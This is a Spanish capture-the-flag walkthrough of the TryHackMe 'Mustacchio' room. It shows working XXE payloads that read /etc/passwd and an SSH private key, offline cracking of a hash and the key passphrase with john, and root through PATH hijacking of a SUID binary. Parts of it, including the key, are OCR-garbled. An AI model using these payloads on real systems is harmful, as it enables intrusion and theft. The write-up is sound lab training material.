

```
Starting Nmap 7.60 ( https://nmap.org ) at 2021-06-12 03:07 BST
Nmap scan report for musta.thm [10.10.95.213]
Host is up (0.00040s latency).

PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
|_ ssh-hostkey:
|_ 2048 d3:9e:50:66:5f:27:a0:60:a7:e8:Bb:cb:a9:2a:f0:19 (RSA)
|_ 256 5f:98:f4:5d:dc:af:ee:01:3e:91:65:0a:00:52:de:ef (ECDSA)
|_ 256 5e:17:de:c0:44:35:ab:0b:46:18:cb:00:8d:49:b3:f6 (EdDSA)
80/tcp    open  http      Apache httpd 2.4.18 ((Ubuntu))
|_ http-robots.txt: 1 disallowed entry
|_/
|_ http-server-header: Apache/2.4.18 (Ubuntu)
|_ http-title: Mustacchio | home
8765/tcp  open  http      nginx 1.10.3 (Ubuntu)
|_ http-server-header: nginx/1.10.3 (Ubuntu)
|_ http-title: Mustacchio | Login
MAC Address: 02:28:AB:FA:62:97 (Unknown)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.2
OS CPE: cpe:/o:linux:linux_kernel:3.13
OS details: Linux 3.13
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

Port 22: ssh ok  
Port 80 varias páginas html, y en un js existe un valor comentado  
Bcf063452ff1193524e499349d0ac459

Free Password Hash Cracker

Enter up to 20 non-salted hashes, one per line:

Bcf063452ff1193524e499349d0ac459

No soy un robot

reCAPTCHA

Proteger tu negocio

Crack Hashes

Supported: LM, NTLM, md2, mda, mds, mds(mds\_hex), mds\_half, sha1, sha224, sha256, sha384, sha512, rpeMD160, whirlpool, MySQL 4.1+ (sha1(sha1\_bin)), Qibaver3.1BackupDefault

Hash	Type	Result
Bcf063452ff1193524e499349d0ac459	md5	Mustacchio

Color Codes: Green Exact match, Yellow Partial match, Red Not found.

Buildog19

La contraseña sirvió para conectarse en la web del puerto 8765 como usuario admin

Mustacchio | Admin Page

http://10.10.95.213/custom...

Magic - CyberChef

+

TryHackMe | Learn Cy...

TryHackMe Support

Offline CyberChef

GitHub - swisskyrepo/...

Reverse Shell Cheat S...

ADMINPANEL

Add a comment on the website.

Submit

Al presionar sobre submit nos indica que es necesario ingresar un xml, esto nos da pista que podia tratarse de un XXE injection  
En el código fuente se encuentra una ruta de ejemplo  
<http://10.10.95.213:8765/auth/dontforget.bak>

Dentro está justamente el código o formato que debe tener el xml

```
<?xml version="1.0" encoding="UTF-8"?>
<comment>
  <name>joe Hamd</name>
  <author>Barry Clad</author>
  <com>his paragraph was a waste of time and space. If you had not read this and I had not typed this
you and I could\u002019ve done something more productive than reading this mindlessly and carelessly as
if you did not have anything else to do in life. Life is so precious because it is short and you are being so
careless that you do not realize it until now since this void paragraph mentions that you are doing
something so mindless, so stupid, so careless that you realize that you are not using your time wisely.
You could\u002019ve been playing with your dog, or eating your cat, but no. You want to read this barren
paragraph and expect something marvelous and terrific at the end. But since you still do not realize that
you are wasting precious time, you still continue to read the null paragraph. If you had not noticed, you
have wasted an estimated time of 20 seconds.</com>
</comment>
```

Eso nos facilita mucho la vida  
Teniendo en cuenta el formato base de un xxe se intentará mezclar ambas cosas. Primero probando la eficacia del ejemplo y luego modificándolo

```
<!DOCTYPE xxx [<ENTITY passfile SYSTEM "file:///etc/passwd">]><test>hacker%
26passfile:</test>
```

Submit

Comment Preview:

Joe Hamid

Barry Clad

Comment :

his paragraph was a waste of time and space. If you had not read this and I had not typed this you and I couldu2019ve done something more productive than reading this mindlessly and carelessly as if you did not have anything else to do in life. Life is so precious because it is short and you are being so careless that you do not realize it until now since this void paragraph mentions that you are doing something so mindless, so stupid, so careless that you realize that you are not using your time wisely. You couldu2019ve been playing with your dog, or eating your cat, but no. You want to read this barren paragraph and expect something marvelous and terrific at the end. But since you still do not realize that you are wasting precious time, you still continue to read the null paragraph. If you had not noticed, you have wasted an estimated time of 20 seconds.

Perfecto. Ahora, otra cosa que indica el código fuente es que barry puede ingresar a la máquina por ssh

</head>

<body>

<!-- Barry, you can now SSH in using your key!-->



Esto nos hace pensar que lo que es necesario exfiltrar es la llave que tiene barry en su carpeta

home/barry/.ssh/id\_rsa

Así que preparemos el xml para ello.

Para simplificar el trabajo de prueba y error me fui a burpsuite donde primero probé con etc/passwd

Burp Project Intruder Repeater Window Help

Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Extender Project options User options

1 2 ...

Send Cancel < >

Request

Raw Params Headers Hex

1 POST /home.php HTTP/1.1  
2 Host: 10.10.95.213:8765  
3 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86\_64; rv:80.0) Gecko/20100101 Firefox/80.0  
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,\*/\*;q=0.8  
5 Accept-Language: en-US,en;q=0.5  
6 Accept-Encoding: gzip, deflate  
7 Content-Type: application/x-www-form-urlencoded  
8 Content-Length: 219  
9 Origin: http://10.10.95.213:8765  
10 Connection: close  
11 Referer: http://10.10.95.213:8765/home.php  
12 Cookie: PHPSESSID=9oj4aa48032sgnraubo59pn00  
13 Upgrade-Insecure-Requests: 1  
14  
15 xml=<?xml version="1.0" encoding="UTF-8"?>  
16 <!DOCTYPE xxx [<!ENTITY passfile SYSTEM "file:///etc/passwd">]>  
17 <comment>  
18 <name>Joe Hamd</name>  
19 <author>Barry Clad26passfile:</author>  
20 <com>passfi</com>  
21 </comment>

Response

Raw Headers Hex Render

Comment Preview:  
</h3>  
<p>  
Name: Joe Hamd  
</p>  
<p>  
Author : Barry Cladroot:x:0:0:root:/root:/bin/bash  
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin  
bin:x:2:2:bin:/bin:/usr/sbin/nologin  
sys:x:3:3:sys:/dev:/usr/sbin/nologin  
sync:x:4:65534:sync:/bin:/bin/sync  
games:x:5:60:games:/usr/games:/usr/sbin/nologin  
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin  
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin  
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin  
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin  
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin  
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin  
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin  
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin  
list:x:38:38:mailing list:/var/lib:/usr/sbin/nologin  
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin  
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin  
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin  
systemd-timesync:x:100:102:systemd Time Synchronization:/:/run/systemd:/bin/false  
systemd-network:x:101:103:systemd Network Management:/:/run/systemd/netif:/bin/false  
systemd-resolve:x:102:104:systemd Resolver:/:/run/systemd/resolve:/bin/false  
systemd-bus-proxy:x:103:105:systemd Bus Proxy:/:/run/systemd:/bin/false  
syslog:x:104:108:/home/syslog:/bin/false  
apt:x:105:65534:/nonexistent:/bin/false  
lxd:x:106:65534:/var/lib/lxd:/bin/false  
messagebus:x:107:111:/var/run/dbus:/bin/false  
uucidd:x:108:112:/run/uucidd:/bin/false  
dnsmasq:x:109:65534:dnsmasq:/:/var/lib/misc:/bin/false  
sshdx:x:110:65534:/var/run/sshdx:/usr/sbin/nologin  
pollinate:x:111:1:/var/cache/pollinate:/bin/false  
joe:x:1002:1002:/home/joe:/bin/bash  
barry:x:1003:1003:/home/barry:/bin/bash  
</p>  
<p>  
Comment :<br>passfi</p>  
</section>

Y luego con /home/barry/.ssh/id\_rsa

Burp Project Intruder Repeater Window Help

Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Extender Project options User options

1 2 ...

Send Cancel < >

Request

Raw Params Headers Hex

1 POST /home.php HTTP/1.1  
2 Host: 10.10.95.213:8765  
3 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86\_64; rv:80.0) Gecko/20100101 Firefox/80.0  
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,\*/\*;q=0.8  
5 Accept-Language: en-US,en;q=0.5  
6 Accept-Encoding: gzip, deflate  
7 Content-Type: application/x-www-form-urlencoded  
8 Content-Length: 231  
9 Origin: http://10.10.95.213:8765  
10 Connection: close  
11 Referer: http://10.10.95.213:8765/home.php  
12 Cookie: PHPSESSID=9oj4aa48032sgnraubo59pn00  
13 Upgrade-Insecure-Requests: 1  
14  
15 xml=<?xml version="1.0" encoding="UTF-8"?>  
16 <!DOCTYPE xxx [<!ENTITY passfile SYSTEM "file:///home/barry/.ssh/id\_rsa">]>  
17 <comment>  
18 <name>Joe Hamd</name>  
19 <author>Barry Clad26passfile:</author>  
20 <com>passfi</com>  
21 </comment>

Response

Raw Headers Hex Render

Comment Preview:  
</h3>  
<p>  
Name: Joe Hamd  
</p>  
<p>  
Author : Barry Clad-----BEGIN RSA PRIVATE KEY-----  
Proc-Type: 4,ENCRYPTED  
DEK-Info: AES-128-CBC, D13727906AA3E71BB7FCB87FC61D25E  
  
jQd3P+hUu+uMlASyB9t4gFyMl9uugH0Jy1GZ63/b1nG57eGY0MbwDzvVMgrfN  
bNjV2Xj6U1ZM9uEX8Y4v2Bk2CBjFg224861z4K3oIW35G/bxsl2ZoXoNtHU  
M2d17Dh1k226q0Ht+aQ6PRKE05Zf+a0325ohtFDpsoia/7dnap60jBmruUB65  
12f9wZCfDwEzvCsYqPD3jBx07kqf5J3d59dwhrG0duuul/ALUuX1jMB05D2  
WtYf3nYvD4SPCTKcy4U9Yw6L7GKMPkCnc003L61DwyEUB2nc8UuAPH7E  
NehvYkkr39pV2BPTG2bV1Jg0dC38yc1L3d8WYFD8WncC/8uHfV5gQ  
uLTABR0Lvrr17/MH1c1ASfcrFauJByfx35f1p9gBLf65y0u0D0JwvuyyCoE  
TH0b6nGfexR5aE/u3r54vZzLOKhgTtppz4bDL/yQJo3wqDLFF7YAC12eUc9NdC  
rcuGBKcg+0B0kDnGvSnGnavPvIsVTT3027ykzwei3Mv1agMBCC0/ekoyeMlX  
hNl1qT05uG1HhYTHUKNZt87BdSank0ERLjfc488/eXrDTAmK6dJN0K0M  
4cpvLGG9q5Fh7UFCZWohE/qELpRKZ4/k6HMF313059J1vLK0G5VofIrnstYB8  
7+YoMkPMHkjes/vMx+e1Czvh4XKMNl4kQx65B8ttrUSK9GgGnIJu2/G1f6k+  
T+RncSS2W+1J1u9mJpD3S2K2vXV35K7J0D86FWgh0cYF4u4ncHf4wk1  
ahYead6NlMhM86C/h0K6yPD07Gh782uMppND/LbS+vpBPR2xtXh0H509917  
LTU0CN5h8ZFD06A+P2aZNgqG07F5yTwTnActZL26LGDxhNl+3t10VDGkPVUs  
ph3Gqv5+ndZ6LVE031eWZdCtUJfU4W52r+AndPa2Lqt90P+uH21Sd4H8srg  
1aEPKvCv9wF5uH15fR6uK05YgDP4UuYr53D7C113hpfJgtY2zWuAlx9e  
vpJLGRpzhgBAXJFvatvaRAPFxn54y1FITX06t1vk62yD9jPsxfzvbMNsVqGvOK  
DZkaek+bbYkrauq4EBBKS4Ru06d7k1wKhNtVqTspmlVcBefHLL1769KtXoLvpnf  
6aK23kDQ8t0ukD0uKvMabEwLk3T5Fw+ZC55a16CZG0P0WXSZ0THuP  
ckOUdCZc9u0IFhV7DesqrBTR6fEBLqsn70PLSFJ0LAAHKGIsPawL1Sa3bs  
7bdfm1ZBjYXyILZgBaQd5jBJU8GtFcgph9cb3f+C3nkmedZJGRJwUyU5S0F  
1dVhVAmX29apwRvpJByd0kMwrc/7M0M0DKH0AZK1D13cQ0gP87KtU  
+Z87nTawv95d4VrcZ52cn8S70vF27AJuAueU8+twelK0uP+G6+uH0B9uAbtIn  
7aXN/NSLtoStF3nhdZ1DTHMeVjACA+q886+R6Ed+drajgk6R9eK9SME7geVD  
-----END RSA PRIVATE KEY-----  
</p>  
<p>  
Comment :<br>passfi</p>  
</section>

-----BEGIN RSA PRIVATE KEY-----  
Proc-Type: 4,ENCRYPTED  
DEK-Info: AES-128-CBC, D13727906AA3E71BB7FCB87FC61D25E  
  
jQd3P+hUu+uMlASyB9t4gFyMl9uugH0Jy1GZ63/b1nG57eGY0MbwDzvVMgrfN  
bNjV2Xj6U1ZM9uEX8Y4v2Bk2CBjFg224861z4K3oIW35G/bxsl2ZoXoNtHU  
M2d17Dh1k226q0Ht+aQ6PRKE05Zf+a0325ohtFDpsoia/7dnap60jBmruUB65  
12f9wZCfDwEzvCsYqPD3jBx07kqf5J3d59dwhrG0duuul/ALUuX1jMB05D2  
WtYf3nYvD4SPCTKcy4U9Yw6L7GKMPkCnc003L61DwyEUB2nc8UuAPH7E  
NehvYkkr39pV2BPTG2bV1Jg0dC38yc1L3d8WYFD8WncC/8uHfV5gQ  
uLTABR0Lvrr17/MH1c1ASfcrFauJByfx35f1p9gBLf65y0u0D0JwvuyyCoE  
TH0b6nGfexR5aE/u3r54vZzLOKhgTtppz4bDL/yQJo3wqDLFF7YAC12eUc9NdC  
rcuGBKcg+0B0kDnGvSnGnavPvIsVTT3027ykzwei3Mv1agMBCC0/ekoyeMlX  
hNl1qT05uG1HhYTHUKNZt87BdSank0ERLjfc488/eXrDTAmK6dJN0K0M  
4cpvLGG9q5Fh7UFCZWohE/qELpRKZ4/k6HMF313059J1vLK0G5VofIrnstYB8  
7+YoMkPMHkjes/vMx+e1Czvh4XKMNl4kQx65B8ttrUSK9GgGnIJu2/G1f6k+  
T+RncSS2W+1J1u9mJpD3S2K2vXV35K7J0D86FWgh0cYF4u4ncHf4wk1  
ahYead6NlMhM86C/h0K6yPD07Gh782uMppND/LbS+vpBPR2xtXh0H509917  
LTU0CN5h8ZFD06A+P2aZNgqG07F5yTwTnActZL26LGDxhNl+3t10VDGkPVUs  
ph3Gqv5+ndZ6LVE031eWZdCtUJfU4W52r+AndPa2Lqt90P+uH21Sd4H8srg  
1aEPKvCv9wF5uH15fR6uK05YgDP4UuYr53D7C113hpfJgtY2zWuAlx9e  
vpJLGRpzhgBAXJFvatvaRAPFxn54y1FITX06t1vk62yD9jPsxfzvbMNsVqGvOK  
DZkaek+bbYkrauq4EBBKS4Ru06d7k1wKhNtVqTspmlVcBefHLL1769KtXoLvpnf  
6aK23kDQ8t0ukD0uKvMabEwLk3T5Fw+ZC55a16CZG0P0WXSZ0THuP  
ckOUdCZc9u0IFhV7DesqrBTR6fEBLqsn70PLSFJ0LAAHKGIsPawL1Sa3bs  
7bdfm1ZBjYXyILZgBaQd5jBJU8GtFcgph9cb3f+C3nkmedZJGRJwUyU5S0F  
1dVhVAmX29apwRvpJByd0kMwrc/7M0M0DKH0AZK1D13cQ0gP87KtU  
+Z87nTawv95d4VrcZ52cn8S70vF27AJuAueU8+twelK0uP+G6+uH0B9uAbtIn  
7aXN/NSLtoStF3nhdZ1DTHMeVjACA+q886+R6Ed+drajgk6R9eK9SME7geVD  
-----END RSA PRIVATE KEY-----

4,135 bytes | 3 mills

Tryhackme página 2

```
Th06dGFeR15aE/ubr54v2zL0R0gTaptb4g01/yQ0o3w0d1Fy7YAC12eUC9Mdc
r-cv0BcIq-eu0Q0d0h0G0S0m0mP1v1T13027y4zwei3w1jag0M000000v0u0v0uX
bh11qTQ6uClh1y1YHUKNZ078e0Sank0Rlyfcd409/ev0ZYTmmKcdJN0LHKK
4cqv1Q0pSfHufCDoneH/atlp0K2A/k0H1A4F51305911v1CQ01w0F1R0mtrB8
7+Y0mP0wK3j0c/v0m0e12c0h470N014d0q0S0570r0c080g0mJ1u2/G2F0E+
T0g0e551W+41u1mPjw0F0322aXV50871v030K0F0jg0b0XF0u0Mc0F0ak1
a0Th0e0a010M0H0B6/h0k0y0P0D0G0H7020P0g0M0/L05+vp0P00t0C1W0G0P017
L1Q0N0C08c0H0B0aF+24Z0g0B7F5y3Yw0aC1L31030a0v0i+3t3J0V0G0P0U0
p0h0g0v0+mdZ0LVE0Q31eW2z0tC0F0u0uG0r+4and0Pa21q0S0P+w0215d0M50xg
1A0P0d00m0r5+41216F0w0D0V0P0D0M0y0+530h701130uP30g4V270u12x0d0
vp3L0M0p0zh0B0X3F0Vat0aR0F0x054y1F1T0X0G11vk0G2y0R3p3Xf0w0B0v0G0V0K
D24ae0+bb3X0m0p040B0K540B0U0d07k0u0m0V0g10m1V0C0e0H11765Kt0LVP0f
6a0k130m1Q0T0D0u0u0Q0L0M0d0e0m1K7T0g0w2C3u0f0G0Z0B000005020T0u0F
c0Q0/d02c0x0U0o1F0h70e0q0B706F0B1q0n70P15F0J01A0H0C10x0P0m1v0S0b5
70d0P12B3Y0V11Z0g0Aq05J010B0Gf0c0y0h0c03f<30k0w0C2J0R3a0V0u0S0P0
10V0V0u0m0C00p0p0V0g3M0F0d0B0u0a0r0/0r0000000000000000000000000
+287010m0P5d0v0v0Z0v0K5070vF27A0H0e0e0U0c0t0a0e1K0R0P0u0+0H0B0a0H1n
70u0N0S10u0T0r30i0d10D10H00000000000000000000000000000000000000
-----END RSA PRIVATE KEY-----
```

Tal como lo indica el encabezado, está encriptado con una contraseña así que extraemos el hash para intentar romperlo

```
/opt/john/ssh2john.py
Usage: /opt/john/ssh2john.py <RSA/DSA/EC/OpenSSH private key file(s)>
# /opt/john/ssh2john.py id_rsa >hash
john --wordlist=/rockyou.txt hash
Note: This format may emit false positives, so it will keep trying even after finding a
possible candidate.
Warning: detected hash type "SSH", but the string is also recognized as "ssh-opencl"
Use the "--format=ssh-opencl" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0-MD5/AES 1-MD5/3DES 2-hcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
id_rsa (id_rsa)
ig 0:00:00:10 DONE (2021-06-12 03:51) 0.09208g/s 1320Kp/s 1320Kc/s *7¡¡¡Vamos!
Session completed.
```

Al ingresar exitosamente con la llave y password encontradas, nos damos cuenta que hay otro usuario y dentro de su directorio hay un ejecutable con permisos especiales

```
barry@mustacchio:/home/joe$ ls -lha
total 28K
drwxr-xr-x 2 joe joe 4.0K Apr 29 20:32 .
drwxr-xr-x 4 root root 4.0K Apr 29 20:32 ..
-rwsr-xr-x 1 root root 17K Apr 29 20:32 live_log
El ejecutable hace lectura del archivo /var/log/nginx/access.log
barry@mustacchio:/home/joe$ ls -lh /var/log/nginx/access.log
-rw-r----- 1 www-data adm 13K Jun 12 02:45 /var/log/nginx/access.log
```

Y este lo podemos leer dado que formamos parte del grupo adm  
Veremos si podemos eliminarlo y hacer un link simbólico a otro archivo más interesante

```
barry@mustacchio:/home/joe$ rm /var/log/nginx/access.log
rm: remove write-protected regular file '/var/log/nginx/access.log'? y
rm: cannot remove '/var/log/nginx/access.log': Permission denied
Fail
```

Al ejecutar un strings sobre el ejecutable vemos que tiene como instrucción leerlo con el binario tail, pero no está como path absoluto así que podemos usar un path hijacking

```
barry@mustacchio:/home/joe$ strings live_log
/lib64/ld-linux-x86-64.so.2
libc.so.6
setuid
printf
system
__cxa_finalize
setgid
__libc_start_main
GLIBC_2.2.5
__ITM_deregisterTMCloneTable
__gmon_start__
__ITM_registerTMCloneTable
0+0H
[]A[]A*
Live Nginx Log Reader
tail -f /var/log/nginx/access.log
```

```
barry@mustacchio:/home/joe$ export PATH=/tmp:/usr/local/sbin:/usr/local/bin:/usr
/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
barry@mustacchio:/home/joe$
```

```
barry@mustacchio:/tmp$ echo "/bin/bash -p">tail
barry@mustacchio:/tmp$ cat tail
/bin/bash -p
barry@mustacchio:/tmp$ chmod +x tail
barry@mustacchio:/tmp$ /home/joe/live_log
root@mustacchio:/tmp$ cat /root/root.txt
```

10.10.137.213

Woop woop! Your answer is correct

DashboardLearnCompeteDevelopOther

MUSTACCHIO

Mustacchio

Easy boot2rot Machine

Show Split ViewHelp

ChartScoreboardDiscuss

Congratulations

You've completed the room!

Share on TwitterShare on FacebookIn Share on LinkedIn

Difficulty: Easy

AntibMagnaM3dsecAJ2kstellarisembargoH4ck0b1tu5onurshin0larksoffzyeinn

100% Solved

510156 Users

In the top 1% Rank

24